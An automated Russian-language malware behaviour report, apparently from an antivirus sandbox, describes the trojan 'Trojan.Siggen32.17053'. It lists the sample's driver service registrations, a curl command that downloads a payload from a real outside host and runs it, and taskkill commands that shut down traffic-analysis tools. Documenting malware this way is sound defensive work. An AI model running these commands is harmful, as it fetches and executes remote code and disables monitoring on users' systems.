Trojan.Siggen32.17053

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[HKLM\System\CurrentControlSet\Services\NalDrv] 'ImagePath' = '<SYSTEM32>\WindowsPowerShell\v1.0\NalDrv.sys'
[HKLM\System\CurrentControlSet\Services\PROCEXP152] 'ImagePath' = '%TEMP%\PROCEXP152.sys'
[HKLM\SYSTEM\CurrentControlSet\Services\ndistcp] 'ImagePath' = '<DRIVERS>\ndistcop.sys'

Создает следующие сервисы

Вредоносные функции

Запускает на исполнение

Запускает большое число процессов

Изменения в файловой системе

Создает следующие файлы

Удаляет файлы, которые сам же создал

Подменяет следующие файлы

Сетевая активность

Подключается к

TCP

Запросы HTTP GET

http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?07##############

Другие

UDP

Другое

Ищет следующие окна

Создает и запускает на исполнение

'%WINDIR%\softwaredistribution\download\sdq0x.exe' -map %WINDIR%\SoftwareDistribution\Download\hOogK.sys
'%WINDIR%\softwaredistribution\download\nopfl.exe' -map %WINDIR%\SoftwareDistribution\Download\pcoUI.sys
'%WINDIR%\ime\bb.exe'

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c cls
'<SYSTEM32>\cmd.exe' /c curl --silent https://file.garden/ZtnIm2iFxwwhEfOY/bb.bin --silent --output %WINDIR%\IME\bb.exe >nul 2>&1
'<SYSTEM32>\curl.exe' --silent https://file.garden/ZtnIm2iFxwwhEfOY/bb.bin --silent --output %WINDIR%\IME\bb.exe
'<SYSTEM32>\cmd.exe' /c %WINDIR%\IME\bb.exe
'<SYSTEM32>\cmd.exe' /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c sc stop HTTPDebuggerPro >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c taskkill /IM HTTPDebuggerSvc.exe /F >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\<INETFILES>\IE" >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c certutil -hashfile "%WINDIR%\IME\bb.exe" MD5
'<SYSTEM32>\certutil.exe' -hashfile "%WINDIR%\IME\bb.exe" MD5
'<SYSTEM32>\sc.exe' stop HTTPDebuggerPro
'%WINDIR%\softwaredistribution\download\sdq0x.exe' -map %WINDIR%\SoftwareDistribution\Download\hOogK.sys (со скрытым окном)
'%WINDIR%\softwaredistribution\download\nopfl.exe' -map %WINDIR%\SoftwareDistribution\Download\pcoUI.sys (со скрытым окном)